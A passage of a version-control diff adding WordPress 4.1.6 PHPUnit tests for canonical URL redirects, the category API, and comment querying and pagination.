+			array( '/category/uncategorized/', array( 'url' => '/category/uncategorized/', 'qv' => array( 'category_name' => 'uncategorized' ) ) ),
+			array( '/category/uncategorized/page/2/', array( 'url' => '/category/uncategorized/page/2/', 'qv' => array( 'category_name' => 'uncategorized', 'paged' => 2) ) ),
+			array( '/category/uncategorized/?paged=2', array( 'url' => '/category/uncategorized/page/2/', 'qv' => array( 'category_name' => 'uncategorized', 'paged' => 2) ) ),
+			array( '/category/uncategorized/?paged=2&category_name=uncategorized', array( 'url' => '/category/uncategorized/page/2/', 'qv' => array( 'category_name' => 'uncategorized', 'paged' => 2) ), 17174 ),
+
+			// Categories & Intersections with other vars
+			array( '/category/uncategorized/?tag=post-formats', array( 'url' => '/category/uncategorized/?tag=post-formats', 'qv' => array('category_name' => 'uncategorized', 'tag' => 'post-formats') ) ),
+			array( '/?category_name=cat-a,cat-b', array( 'url' => '/?category_name=cat-a,cat-b', 'qv' => array( 'category_name' => 'cat-a,cat-b' ) ) ),
+
+			// Taxonomies with extra Query Vars
+			array( '/category/cat-a/page/1/?test=one%20two', '/category/cat-a/?test=one%20two', 18086), // Extra query vars should stay encoded
+
+			// Categories with Dates
+			array( '/2008/04/?cat=1', array( 'url' => '/2008/04/?cat=1', 'qv' => array('cat' => '1', 'year' => '2008', 'monthnum' => '04' ) ), 17661 ),
+//			array( '/2008/?category_name=cat-a', array( 'url' => '/2008/?category_name=cat-a', 'qv' => array('category_name' => 'cat-a', 'year' => '2008' ) ) ),
+
+			// Pages
+			array( '/child-page-1/', '/parent-page/child-page-1/'),
+			array( '/?page_id=144', '/parent-page/child-page-1/'),
+			array( '/abo', '/about/' ),
+
+			// Posts
+			array( '?p=587', '/2008/06/02/post-format-test-audio/'),
+			array( '/?name=images-test', '/2008/09/03/images-test/'),
+			// Incomplete slug should resolve and remove the ?name= parameter
+			array( '/?name=images-te', '/2008/09/03/images-test/', 20374),
+			// Page slug should resolve to post slug and remove the ?pagename= parameter
+			array( '/?pagename=images-test', '/2008/09/03/images-test/', 20374),
+
+			array( '/2008/06/02/post-format-test-au/', '/2008/06/02/post-format-test-audio/'),
+			array( '/2008/06/post-format-test-au/', '/2008/06/02/post-format-test-audio/'),
+			array( '/2008/post-format-test-au/', '/2008/06/02/post-format-test-audio/'),
+			array( '/2010/post-format-test-au/', '/2008/06/02/post-format-test-audio/'), // A Year the post is not in
+			array( '/post-format-test-au/', '/2008/06/02/post-format-test-audio/'),
+
+			array( '/2008/09/03/images-test/3/', array( 'url' => '/2008/09/03/images-test/3/', 'qv' => array( 'name' => 'images-test', 'year' => '2008', 'monthnum' => '09', 'day' => '03', 'page' => '/3' ) ) ), // page = /3 ?!
+			array( '/2008/09/03/images-test/?page=3', '/2008/09/03/images-test/3/' ),
+			array( '/2008/09/03/images-te?page=3', '/2008/09/03/images-test/3/' ),
+
+			// Comments
+			array( '/2008/03/03/comment-test/?cpage=2', '/2008/03/03/comment-test/comment-page-2/' ),
+
+			// Attachments
+			array( '/?attachment_id=611', '/2008/06/10/post-format-test-gallery/canola2/' ),
+			array( '/2008/06/10/post-format-test-gallery/?attachment_id=611', '/2008/06/10/post-format-test-gallery/canola2/' ),
+
+			// Dates
+			array( '/?m=2008', '/2008/' ),
+			array( '/?m=200809', '/2008/09/'),
+			array( '/?m=20080905', '/2008/09/05/'),
+
+			array( '/2008/?day=05', '/2008/?day=05'), // no redirect
+			array( '/2008/09/?day=05', '/2008/09/05/'),
+			array( '/2008/?monthnum=9', '/2008/09/'),
+
+			array( '/?year=2008', '/2008/'),
+
+			array( '/2012/13/', '/2012/'),
+			array( '/2012/11/51/', '/2012/11/', 0, array( 'WP_Date_Query' ) ),
+
+			// Authors
+			array( '/?author=%d', '/author/canonical-author/' ),
+//			array( '/?author=%d&year=2008', '/2008/?author=3'),
+//			array( '/author/canonical-author/?year=2008', '/2008/?author=3'), //Either or, see previous testcase.
+
+			// Feeds
+			array( '/?feed=atom', '/feed/atom/' ),
+			array( '/?feed=rss2', '/feed/' ),
+			array( '/?feed=comments-rss2', '/comments/feed/'),
+			array( '/?feed=comments-atom', '/comments/feed/atom/'),
+
+			// Feeds (per-post)
+			array( '/2008/03/03/comment-test/?feed=comments-atom', '/2008/03/03/comment-test/feed/atom/'),
+			array( '/?p=149&feed=comments-atom', '/2008/03/03/comment-test/feed/atom/'),
+			array( '/2008/03/03/comment-test/?feed=comments-atom', '/2008/03/03/comment-test/feed/atom/' ),
+
+			// Index
+			array( '/?paged=1', '/' ),
+			array( '/page/1/', '/' ),
+			array( '/page1/', '/' ),
+			array( '/?paged=2', '/page/2/' ),
+			array( '/page2/', '/page/2/' ),
+
+			// Misc
+			array( '/2008%20', '/2008' ),
+			array( '//2008////', '/2008/' ),
+
+			// Todo: Endpoints (feeds, trackbacks, etc), More fuzzed mixed query variables, comment paging, Home page (Static)
+		);
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/canonical/customRules.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/canonical/customRules.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/canonical/customRules.php	(revision 33402)
@@ -0,0 +1,40 @@
+<?php
+
+/**
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical_CustomRules extends WP_Canonical_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+		global $wp_rewrite;
+		// Add a custom Rewrite rule to test category redirections.
+		$wp_rewrite->add_rule('ccr/(.+?)/sort/(asc|desc)', 'index.php?category_name=$matches[1]&order=$matches[2]', 'top'); // ccr = Custom_Cat_Rule
+		$wp_rewrite->flush_rules();
+	}
+
+	/**
+	 * @dataProvider data
+	 */
+	function test( $test_url, $expected, $ticket = 0, $expected_doing_it_wrong = array() ) {
+		$this->assertCanonical( $test_url, $expected, $ticket, $expected_doing_it_wrong );
+	}
+
+	function data() {
+		/* Format:
+		 * [0]: $test_url,
+		 * [1]: expected results: Any of the following can be used
+		 *      array( 'url': expected redirection location, 'qv': expected query vars to be set via the rewrite AND $_GET );
+		 *      array( expected query vars to be set, same as 'qv' above )
+		 *      (string) expected redirect location
+		 * [3]: (optional) The ticket the test refers to, Can be skipped if unknown.
+		 */
+		return array(
+			// Custom Rewrite rules leading to Categories
+			array( '/ccr/uncategorized/sort/asc/', array( 'url' => '/ccr/uncategorized/sort/asc/', 'qv' => array( 'category_name' => 'uncategorized', 'order' => 'asc' ) ) ),
+			array( '/ccr/uncategorized/sort/desc/', array( 'url' => '/ccr/uncategorized/sort/desc/', 'qv' => array( 'category_name' => 'uncategorized', 'order' => 'desc' ) ) ),
+		);
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/canonical/https.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/canonical/https.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/canonical/https.php	(revision 33402)
@@ -0,0 +1,64 @@
+<?php
+
+/**
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical_HTTPS extends WP_Canonical_UnitTestCase {
+	function setUp() {
+		global $wp_rewrite;
+
+		parent::setUp();
+
+		$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+		create_initial_taxonomies();
+		$wp_rewrite->flush_rules();
+		$wp_rewrite->init();
+
+		$this->http  = set_url_scheme( home_url( 'sample-page/' ), 'http' );
+		$this->https = set_url_scheme( home_url( 'sample-page/' ), 'https' );
+	}
+
+	public function set_https( $url ) {
+		return set_url_scheme( $url, 'https' );
+	}
+
+	/**
+	 * @ticket 27954
+	 */
+	public function test_http_request_with_http_home() {
+
+		$redirect = redirect_canonical( $this->http, false );
+
+		$this->assertEquals( $redirect, false );
+
+	}
+
+	/**
+	 * @ticket 27954
+	 */
+	public function test_https_request_with_http_home() {
+
+		$redirect = redirect_canonical( $this->https, false );
+
+		$this->assertEquals( $redirect, false );
+
+	}
+
+	/**
+	 * @ticket 27954
+	 */
+	public function test_https_request_with_https_home() {
+
+		add_filter( 'home_url', array( $this, 'set_https' ) );
+
+		$redirect = redirect_canonical( $this->https, false );
+
+		$this->assertEquals( $redirect, false );
+
+		remove_filter( 'home_url', array( $this, 'set_https' ) );
+
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/canonical/noRewrite.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/canonical/noRewrite.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/canonical/noRewrite.php	(revision 33402)
@@ -0,0 +1,68 @@
+<?php
+
+require_once dirname( dirname( __FILE__ ) ) . '/canonical.php';
+
+/**
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical_NoRewrite extends WP_Canonical_UnitTestCase {
+
+	// These test cases are run against the test handler in WP_Canonical
+	public static function setUpBeforeClass() {
+		self::generate_shared_fixtures();
+	}
+
+	public static function tearDownAfterClass() {
+		self::delete_shared_fixtures();
+	}
+
+	public function setUp() {
+		global $wp_rewrite;
+
+		parent::setUp();
+
+		$wp_rewrite->init();
+		$wp_rewrite->set_permalink_structure( '' );
+		$wp_rewrite->flush_rules();
+		$wp_rewrite->init();
+	}
+
+	/**
+	 * @dataProvider data
+	 */
+	function test( $test_url, $expected, $ticket = 0, $expected_doing_it_wrong = array() ) {
+		$this->assertCanonical( $test_url, $expected, $ticket, $expected_doing_it_wrong );
+	}
+
+	function data() {
+		/* Format:
+		 * [0]: $test_url,
+		 * [1]: expected results: Any of the following can be used
+		 *      array( 'url': expected redirection location, 'qv': expected query vars to be set via the rewrite AND $_GET );
+		 *      array( expected query vars to be set, same as 'qv' above )
+		 *      (string) expected redirect location
+		 * [3]: (optional) The ticket the test refers to, Can be skipped if unknown.
+		 */
+		return array(
+			array( '/?p=123', '/?p=123' ),
+
+			// This post_type arg should be stripped, because p=1 exists, and does not have post_type= in its query string
+			array( '/?post_type=fake-cpt&p=1', '/?p=1' ),
+
+			// Strip an existing but incorrect post_type arg
+			array( '/?post_type=page&page_id=1', '/?p=1' ),
+
+			array( '/?p=358 ', array('url' => '/?p=358',  'qv' => array('p' => '358') ) ), // Trailing spaces
+			array( '/?p=358%20', array('url' => '/?p=358',  'qv' => array('p' => '358') ) ),
+
+			array( '/?page_id=1', '/?p=1' ), // redirect page_id to p (should cover page_id|p|attachment_id to one another
+			array( '/?page_id=1&post_type=revision', '/?p=1' ),
+
+			array( '/?feed=rss2&p=1', '/?feed=rss2&p=1', 21841 ),
+			array( '/?feed=rss&p=1', '/?feed=rss2&p=1', 24623 ),
+
+		);
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/canonical/pageOnFront.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/canonical/pageOnFront.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/canonical/pageOnFront.php	(revision 33402)
@@ -0,0 +1,57 @@
+<?php
+
+/**
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical_PageOnFront extends WP_Canonical_UnitTestCase {
+	public static function setUpBeforeClass() {
+		self::generate_shared_fixtures();
+	}
+
+	public static function tearDownAfterClass() {
+		self::delete_shared_fixtures();
+	}
+
+	function setUp() {
+		parent::setUp();
+		global $wp_rewrite;
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_for_posts', $this->factory->post->create( array( 'post_title' => 'blog-page', 'post_type' => 'page' ) ) );
+		update_option( 'page_on_front', $this->factory->post->create( array( 'post_title' => 'front-page', 'post_type' => 'page' ) ) );
+		$wp_rewrite->init();
+		$wp_rewrite->flush_rules();
+	}
+
+	function tearDown() {
+		global $wp_rewrite;
+		$wp_rewrite->init();
+		parent::tearDown();
+	}
+
+	/**
+	 * @dataProvider data
+	 */
+	function test( $test_url, $expected, $ticket = 0, $expected_doing_it_wrong = array() ) {
+		$this->assertCanonical( $test_url, $expected, $ticket, $expected_doing_it_wrong );
+	}
+
+	function data() {
+		/* Format:
+		 * [0]: $test_url,
+		 * [1]: expected results: Any of the following can be used
+		 *      array( 'url': expected redirection location, 'qv': expected query vars to be set via the rewrite AND $_GET );
+		 *      array( expected query vars to be set, same as 'qv' above )
+		 *      (string) expected redirect location
+		 * [3]: (optional) The ticket the test refers to, Can be skipped if unknown.
+		 */
+		 return array(
+			 // Check against an odd redirect
+			 array( '/page/2/', '/page/2/', 20385 ),
+			 // The page designated as the front page should redirect to the front of the site
+			 array( '/front-page/', '/' ),
+			 array( '/blog-page/?paged=2', '/blog-page/page/2/' ),
+		 );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/category.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/category.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/category.php	(revision 33402)
@@ -0,0 +1,248 @@
+<?php
+/**
+ * Validate Category API
+ *
+ * Notes:
+ * cat_is_ancestor_of is validated under test\term\term_is_ancestor_of
+ *
+ * @group category.php
+ */
+class Tests_Category extends WP_UnitTestCase {
+
+	function tearDown() {
+		_unregister_taxonomy( 'test_tax_cat' );
+		parent::tearDown();
+	}
+
+	/**
+	 * Validate get_all_category_ids
+	 *
+	 * @expectedDeprecated get_all_category_ids
+	 */
+	function test_get_all_category_ids() {
+		// create categories
+		$this->factory->category->create_many(15);
+
+		// create new taxonomy to ensure not included
+		register_taxonomy( 'test_tax_cat', 'post' );
+		wp_insert_term( "test1", 'test_tax_cat' );
+		wp_insert_term( "test2", 'test_tax_cat' );
+		wp_insert_term( "test3", 'test_tax_cat' );
+
+		// Validate length is 1 + created due to uncategorized
+		$cat_ids = get_all_category_ids();
+		$this->assertEquals( 16, count($cat_ids));
+	}
+
+	/**
+	 * Validate get_category_by_slug function
+	 */
+	function test_get_category_by_slug() {
+
+		// create Test Categories
+		$testcat = $this->factory->category->create_and_get(
+			array(
+				'slug' => 'testcat',
+				'name' => 'Test Category 1'
+			)
+		);
+		$testcat2 = $this->factory->category->create_and_get(
+			array(
+				'slug' => 'testcat2',
+				'name' => 'Test Category 2'
+			)
+		);
+
+		// validate category is returned by slug
+		$ret_testcat = get_category_by_slug( 'testcat' );
+		$this->assertEquals( $testcat->term_id, $ret_testcat->term_id );
+		$ret_testcat = get_category_by_slug( 'TeStCaT' );
+		$this->assertEquals( $testcat->term_id, $ret_testcat->term_id );
+
+		// validate unknown category returns false
+		$this->assertFalse( get_category_by_slug( 'testcat3' ) );
+
+	}
+
+	/**
+	 * Validate _make_cat_compat function
+	 */
+	function test__make_cat_compat() {
+
+		// create Test Categories and Array Representations
+		$testcat_array = array(
+			'slug' => 'testmcc',
+			'name' => 'Test MCC',
+			'description' => 'Category Test'
+		);
+		$testcat = $this->factory->category->create_and_get( $testcat_array );
+		$testcat_array['term_id'] = $testcat->term_id;
+
+		$testcat2_array = array(
+			'slug' => 'testmcc',
+			'name' => 'Test MCC',
+			'description' => 'Category Test',
+			'parent' => $testcat->term_id
+		);
+		$testcat2 = $this->factory->category->create_and_get( $testcat2_array );
+		$testcat2_array['term_id'] = $testcat2->term_id;
+
+		// unset properties to enable validation of object
+		unset( $testcat->cat_ID );
+		unset( $testcat->category_count );
+		unset( $testcat->category_description );
+		unset( $testcat->cat_name );
+		unset( $testcat->category_nicename );
+		unset( $testcat->category_parent );
+
+		unset( $testcat2->cat_ID );
+		unset( $testcat2->category_count );
+		unset( $testcat2->category_description );
+		unset( $testcat2->cat_name );
+		unset( $testcat2->category_nicename );
+		unset( $testcat2->category_parent );
+
+		// make Compatible
+		_make_cat_compat( $testcat );
+		_make_cat_compat( $testcat2 );
+		_make_cat_compat( $testcat_array );
+		_make_cat_compat( $testcat2_array );
+
+		// Validate Compatibility Object
+		$this->assertEquals( $testcat->cat_ID, $testcat->term_id );
+		$this->assertEquals( $testcat->category_count, $testcat->count );
+		$this->assertEquals( $testcat->category_description, $testcat->description );
+		$this->assertEquals( $testcat->cat_name, $testcat->name );
+		$this->assertEquals( $testcat->category_nicename, $testcat->slug );
+		$this->assertEquals( $testcat->category_parent, $testcat->parent );
+
+		// Validate Compatibility Object with Parent
+		$this->assertEquals( $testcat->cat_ID, $testcat->term_id );
+		$this->assertEquals( $testcat->category_count, $testcat->count );
+		$this->assertEquals( $testcat->category_description, $testcat->description );
+		$this->assertEquals( $testcat->cat_name, $testcat->name );
+		$this->assertEquals( $testcat->category_nicename, $testcat->slug );
+		$this->assertEquals( $testcat->category_parent, $testcat->parent );
+
+		// Validate Compatibility Array
+		$this->assertEquals( $testcat_array['cat_ID'], $testcat_array['term_id'] );
+		$this->assertEquals( $testcat_array['category_count'], $testcat_array['count'] );
+		$this->assertEquals( $testcat_array['category_description'], $testcat_array['description'] );
+		$this->assertEquals( $testcat_array['cat_name'], $testcat_array['name'] );
+		$this->assertEquals( $testcat_array['category_nicename'], $testcat_array['slug'] );
+		$this->assertEquals( $testcat_array['category_parent'], $testcat_array['parent'] );
+
+		// Validate Compatibility Array with Parent
+		$this->assertEquals( $testcat_array['cat_ID'], $testcat_array['term_id'] );
+		$this->assertEquals( $testcat_array['category_count'], $testcat_array['count'] );
+		$this->assertEquals( $testcat_array['category_description'], $testcat_array['description'] );
+		$this->assertEquals( $testcat_array['cat_name'], $testcat_array['name'] );
+		$this->assertEquals( $testcat_array['category_nicename'], $testcat_array['slug'] );
+		$this->assertEquals( $testcat_array['category_parent'], $testcat_array['parent'] );
+	}
+
+	/**
+	 * Validate get_cat_name function
+	 */
+	function test_get_cat_name() {
+
+		// create Test Category
+		$testcat = $this->factory->category->create_and_get(
+			array(
+				'slug' => 'testcat',
+				'name' => 'Test Category 1'
+			)
+		);
+
+		// Validate
+		$this->assertEquals( $testcat->name, get_cat_name( $testcat->term_id ) );
+		$this->assertEquals( '', get_cat_name( -1 ) );
+		$this->assertEquals( '', get_cat_name( $testcat->term_id + 100 ) );
+
+	}
+
+	/**
+	 * Validate get_cat_name function
+	 */
+	function test_get_cat_ID() {
+
+		// create Test Category
+		$testcat = $this->factory->category->create_and_get(
+			array(
+				'slug' => 'testcat',
+				'name' => 'Test Category 1'
+			)
+		);
+
+		// Validate
+		$this->assertEquals( $testcat->term_id, get_cat_ID( $testcat->name ) );
+		$this->assertEquals( 0, get_cat_ID( "NO CAT" ) );
+		$this->assertEquals( 0, get_cat_ID( 12 ) );
+
+	}
+
+	/**
+	 * Validate get_category_by_path function
+	 */
+	function test_get_category_by_path() {
+
+		// create Test Categories
+		$root_id = $this->factory->category->create(
+			array(
+				'slug' => 'root',
+			)
+		);
+		$root_cat_id = $this->factory->category->create(
+			array(
+				'slug' => 'cat',
+				'parent' => $root_id
+			)
+		);
+		$root_cat_cat_id = $this->factory->category->create(
+			array(
+				'slug' => 'cat', //note this is modified on create
+				'parent' => $root_cat_id
+			)
+		);
+		$root_path_id = $this->factory->category->create(
+			array(
+				'slug' => 'path',
+				'parent' => $root_id
+			)
+		);
+		$root_path_cat_id = $this->factory->category->create(
+			array(
+				'slug' => 'cat', //note this is modified on create
+				'parent' => $root_path_id
+			)
+		);
+		$root_level_id = $this->factory->category->create(
+			array(
+				'slug' => 'level-1',
+				'parent' => $root_id
+			)
+		);
+		$root_level_cat_id = $this->factory->category->create(
+			array(
+				'slug' => 'cat', //note this is modified on create
+				'parent' => $root_level_id
+			)
+		);
+
+		// Validate Full Match
+		$ret_cat = get_category_by_path( '/root/level-1', true );
+		$this->assertEquals( $root_level_id, $ret_cat->term_id );
+		$this->assertNull( get_category_by_path( 'level-1', true ) );
+		$this->assertNull( get_category_by_path( 'nocat/nocat/', true) );
+
+		// Validate Partial Match
+		$ret_cat = get_category_by_path( 'level-1', false );
+		$this->assertEquals( $root_level_id, $ret_cat->term_id );
+		$ret_cat = get_category_by_path( 'root/cat/level-1', false );
+		$this->assertEquals( $root_level_id, $ret_cat->term_id );
+		$ret_cat = get_category_by_path( 'root$2Fcat%20%2Flevel-1', false );
+		$this->assertEquals( $root_level_id, $ret_cat->term_id );
+		$this->assertNull( get_category_by_path( 'nocat/nocat/', false) );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/comment.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/comment.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/comment.php	(revision 33402)
@@ -0,0 +1,79 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment extends WP_UnitTestCase {
+	function test_wp_update_comment() {
+		$post = $this->factory->post->create_and_get( array( 'post_title' => 'some-post', 'post_type' => 'post' ) );
+		$comments = $this->factory->comment->create_post_comments( $post->ID, 5 );
+		$result = wp_update_comment( array( 'comment_ID' => $comments[0], 'comment_parent' => $comments[1] ) );
+		$this->assertEquals( 1, $result );
+		$comment = get_comment( $comments[0] );
+		$this->assertEquals( $comments[1], $comment->comment_parent );
+		$result = wp_update_comment( array( 'comment_ID' => $comments[0], 'comment_parent' => $comments[1] ) );
+		$this->assertEquals( 0, $result );
+	}
+
+	public function test_get_approved_comments() {
+		$p = $this->factory->post->create();
+		$ca1 = $this->factory->comment->create( array( 'comment_post_ID' => $p, 'comment_approved' => '1' ) );
+		$ca2 = $this->factory->comment->create( array( 'comment_post_ID' => $p, 'comment_approved' => '1' ) );
+		$ca3 = $this->factory->comment->create( array( 'comment_post_ID' => $p, 'comment_approved' => '0' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $p, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $p, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $p, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $p, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+
+		$found = get_approved_comments( $p );
+
+		// all comments types will be returned
+		$this->assertEquals( array( $ca1, $ca2, $c2, $c3, $c4, $c5 ), wp_list_pluck( $found, 'comment_ID' ) );
+	}
+
+	/**
+	 * @ticket 30412
+	 */
+	public function test_get_approved_comments_with_post_id_0_should_return_empty_array() {
+		$p = $this->factory->post->create();
+		$ca1 = $this->factory->comment->create( array( 'comment_post_ID' => $p, 'comment_approved' => '1' ) );
+
+		$found = get_approved_comments( 0 );
+
+		$this->assertSame( array(), $found );
+	}
+
+	public function test_comment_content_length() {
+		// `wp_new_comment()` checks REMOTE_ADDR, so we fake it to avoid PHP notices.
+		if ( isset( $_SERVER['REMOTE_ADDR'] ) ) {
+			$remote_addr = $_SERVER['REMOTE_ADDR'];
+		} else {
+			$_SERVER['REMOTE_ADDR'] = '';
+		}
+
+		$u = $this->factory->user->create();
+		$post_id = $this->factory->post->create( array( 'post_author' => $u ) );
+
+		$data = array(
+			'comment_post_ID' => $post_id,
+			'comment_author' => rand_str(),
+			'comment_author_url' => '',
+			'comment_author_email' => '',
+			'comment_type' => '',
+			'comment_content' => str_repeat( 'A', 65536 ),
+			'comment_date' => '2011-01-01 10:00:00',
+			'comment_date_gmt' => '2011-01-01 10:00:00',
+		);
+
+		$id = wp_new_comment( $data );
+
+		$this->assertFalse( $id );
+
+		// Cleanup.
+		if ( isset( $remote_addr ) ) {
+			$_SERVER['REMOTE_ADDR'] = $remote_addr;
+		} else {
+			unset( $_SERVER['REMOTE_ADDR'] );
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/comment/dateQuery.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/comment/dateQuery.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/comment/dateQuery.php	(revision 33402)
@@ -0,0 +1,75 @@
+<?php
+
+/**
+ * Tests to make sure querying posts based on various date parameters
+ * using "date_query" works as expected.
+ *
+ * No need to do a full repeat of all of the post tests again since
+ * the query SQL is the same for both just with a different column.
+ *
+ * @ticket 18694
+ *
+ * @group comment
+ * @group date
+ * @group datequery
+ */
+class Tests_Comment_DateQuery extends WP_UnitTestCase {
+
+	public $posts = array();
+
+	public function setUp() {
+		parent::setUp();
+
+		// Just some dummy posts to use as parents for comments
+		for ( $i = 1; $i <= 2; $i++ ) {
+			$this->posts[$i] = $this->factory->post->create();
+		}
+
+		// Be careful modifying this. Tests are coded to expect this exact sample data.
+		// Format is 'datetime' => 'post number (not ID)'
+		$comment_dates = array(
+			'2007-01-22 03:49:21' => 1,
+			'2007-05-16 17:32:22' => 1,
+			'2007-09-24 07:17:23' => 1,
+			'2008-03-29 09:04:25' => 1,
+			'2008-07-15 11:32:26' => 2, // This one should never be in the results
+			'2008-12-10 13:06:27' => 1,
+			'2009-06-11 21:30:28' => 1,
+			'2009-12-18 10:42:29' => 1,
+		);
+
+		foreach ( $comment_dates as $comment_date => $comment_parent ) {
+			$result = $this->factory->comment->create( array(
+				'comment_date'    => $comment_date,
+				'comment_post_ID' => $this->posts[ $comment_parent ],
+			) );
+		}
+	}
+
+	public function _get_query_result( $args = array() ) {
+		$args = wp_parse_args( $args, array(
+			'post_id' => $this->posts[1],
+			'orderby' => 'comment_ID',  // Same order they were created
+			'order'   => 'ASC',
+		) );
+
+		return get_comments( $args );
+	}
+
+	public function test_year() {
+		$comments = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'year' => 2008,
+				),
+			),
+		) );
+
+		$expected_dates = array(
+			'2008-03-29 09:04:25',
+			'2008-12-10 13:06:27',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $comments, 'comment_date' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/comment/getCommentsPagesCount.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/comment/getCommentsPagesCount.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/comment/getCommentsPagesCount.php	(revision 33402)
@@ -0,0 +1,170 @@
+<?php
+/**
+ * Validate the logic of get_comments_pages_count
+ * @group comment
+ */
+class Tests_Comment_GetCommentsPagesCount extends WP_UnitTestCase {
+	protected $option_page_comments;
+	protected $option_comments_per_page;
+	protected $option_thread_comments;
+	protected $option_posts_per_rss;
+
+	/**
+	 * setUp options
+	 */
+	function setUp() {
+		parent::setUp();
+		$this->option_page_comments = get_option( 'page_comments' );
+		$this->option_page_comments = get_option( 'comments_per_page' );
+		$this->option_page_comments = get_option( 'thread_comments' );
+		$this->option_posts_per_rss = get_option( 'posts_per_rss' );
+
+		update_option( 'page_comments', true );
+	}
+
+	/**
+	 * tearDown options
+	 */
+	function tearDown() {
+		update_option( 'page_comments', $this->option_page_comments );
+		update_option( 'comments_per_page', $this->option_page_comments );
+		update_option( 'thread_comments', $this->option_page_comments );
+		update_option( 'posts_per_rss', $this->option_posts_per_rss );
+		parent::tearDown();
+	}
+
+	/**
+	 * Validate get_comments_pages_count for empty comments
+	 */
+	function test_empty() {
+		//setup post and comments
+		$post_id = $this->factory->post->create( array( 'post_title' => 'comment--post', 'post_type' => 'post' ) );
+		$this->go_to( '/?p=' . $post_id );
+
+		global $wp_query;
+		unset( $wp_query->comments );
+
+		$comments = get_comments( array( 'post_id' => $post_id ) );
+
+		$this->assertEquals( 0, get_comment_pages_count( $comments, 10, false ) );
+		$this->assertEquals( 0, get_comment_pages_count( $comments, 1, false ) );
+		$this->assertEquals( 0, get_comment_pages_count( $comments, 0, false ) );
+		$this->assertEquals( 0, get_comment_pages_count( $comments, 10, true ) );
+		$this->assertEquals( 0, get_comment_pages_count( $comments, 5 ) );
+		$this->assertEquals( 0, get_comment_pages_count( $comments ) );
+		$this->assertequals( 0, get_comment_pages_count( null, 1 ) );
+	}
+
+	/**
+	 * Validate get_comments_pages_count for treaded comments
+	 */
+	function test_threaded_comments( ) {
+		//setup post and comments
+		$post = $this->factory->post->create_and_get( array( 'post_title' => 'comment--post', 'post_type' => 'post' ) );
+		$comments = $this->factory->comment->create_post_comments( $post->ID, 15 );
+		$this->factory->comment->create_post_comments( $post->ID, 6, array( 'comment_parent' => $comments[0] ) );
+		$comments = get_comments( array( 'post_id' => $post->ID ) );
+
+		$this->assertEquals( 3, get_comment_pages_count( $comments, 10, false ) );
+		$this->assertEquals( 2, get_comment_pages_count( $comments, 10, true ) );
+		$this->assertEquals( 4, get_comment_pages_count( $comments, 4, true ) );
+	}
+
+	/**
+	 * Validate get_comments_pages_count for option page_comments
+	 */
+	function test_option_page_comments() {
+		//setup post and comments
+		$post = $this->factory->post->create_and_get( array( 'post_title' => 'comment--post', 'post_type' => 'post' ) );
+		$comments = $this->factory->comment->create_post_comments( $post->ID, 15 );
+
+		// comment paging disabled
+		update_option( 'page_comments', false );
+
+		$this->assertEquals( 1, get_comment_pages_count( $comments, 10, false ) );
+		$this->assertEquals( 1, get_comment_pages_count( $comments, 0, true ) );
+		$this->assertEquals( 1, get_comment_pages_count( $comments, 2, true ) );
+
+		// comment paging enabled
+		update_option( 'page_comments', true );
+
+		$this->assertEquals( 2, get_comment_pages_count( $comments, 10, false ) );
+		$this->assertEquals( 3, get_comment_pages_count( $comments, 5, false ) );
+	}
+
+	/**
+	 * Validate get_comments_pages_count for option tread_comments
+	 */
+	function test_option_thread_comments() {
+
+		//setup post and comments
+		$post = $this->factory->post->create_and_get( array( 'post_title' => 'comment--post', 'post_type' => 'post' ) );
+		$comments = $this->factory->comment->create_post_comments( $post->ID, 15 );
+		$this->factory->comment->create_post_comments( $post->ID, 6, array('comment_parent' => $comments[0] ) );
+		$comments = get_comments( array( 'post_id' => $post->ID ) );
+
+		update_option( 'thread_comments', false );
+
+		$this->assertEquals( 3, get_comment_pages_count( $comments, 10, false ) );
+		$this->assertEquals( 2, get_comment_pages_count( $comments, 10, true ) );
+		$this->assertEquals( 3, get_comment_pages_count( $comments, 10, null ) );
+		$this->assertEquals( 3, get_comment_pages_count( $comments, 10 ) );
+
+		update_option( 'thread_comments', true );
+
